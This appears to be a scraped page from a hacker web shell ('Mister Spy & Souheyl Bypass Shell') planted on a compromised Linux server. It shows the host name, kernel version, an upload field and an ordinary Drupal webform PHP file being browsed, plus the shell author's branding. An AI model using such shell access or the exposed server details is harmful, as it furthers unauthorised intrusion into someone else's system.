Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/12park/web/modules/contrib/webform/src/Form/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/12park/web/modules/contrib/webform/src/Form/WebformSubmissionBulkForm.php

<?php

namespace Drupal\webform\Form;

use Drupal\Core\Form\FormStateInterface;

/**
 * Provides the webform submission bulk form.
 */
class WebformSubmissionBulkForm extends WebformBulkFormBase {

  /**
   * {@inheritdoc}
   */
  protected $entityTypeId = 'webform_submission';

  /**
   * Can user delete any submission.
   *
   * @var bool
   */
  protected $submissionDeleteAny = FALSE;

  /**
   * {@inheritdoc}
   */
  public function buildForm(array $form, FormStateInterface $form_state, $table = [], $submission_delete_any = FALSE) {
    // Track if the user can delete any submission.
    $this->submissionDeleteAny = $submission_delete_any;

    // Restructure the table rows so that they can be displayed as
    // table select options.
    foreach ($table['#rows'] as $key => $row) {
      $table['#rows'][$key] = $row['data'] + ['#attributes' => ['data-webform-href' => $row['data-webform-href']]];
    }

    return parent::buildForm($form, $form_state, $table);
  }

  /**
   * {@inheritdoc}
   */
  protected function getActions() {
    $actions = parent::getActions();
    // Make sure user can delete any submission.
    if (!$this->submissionDeleteAny) {
      unset($actions['webform_submission_delete_action']);
    }
    return $actions;
  }

}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net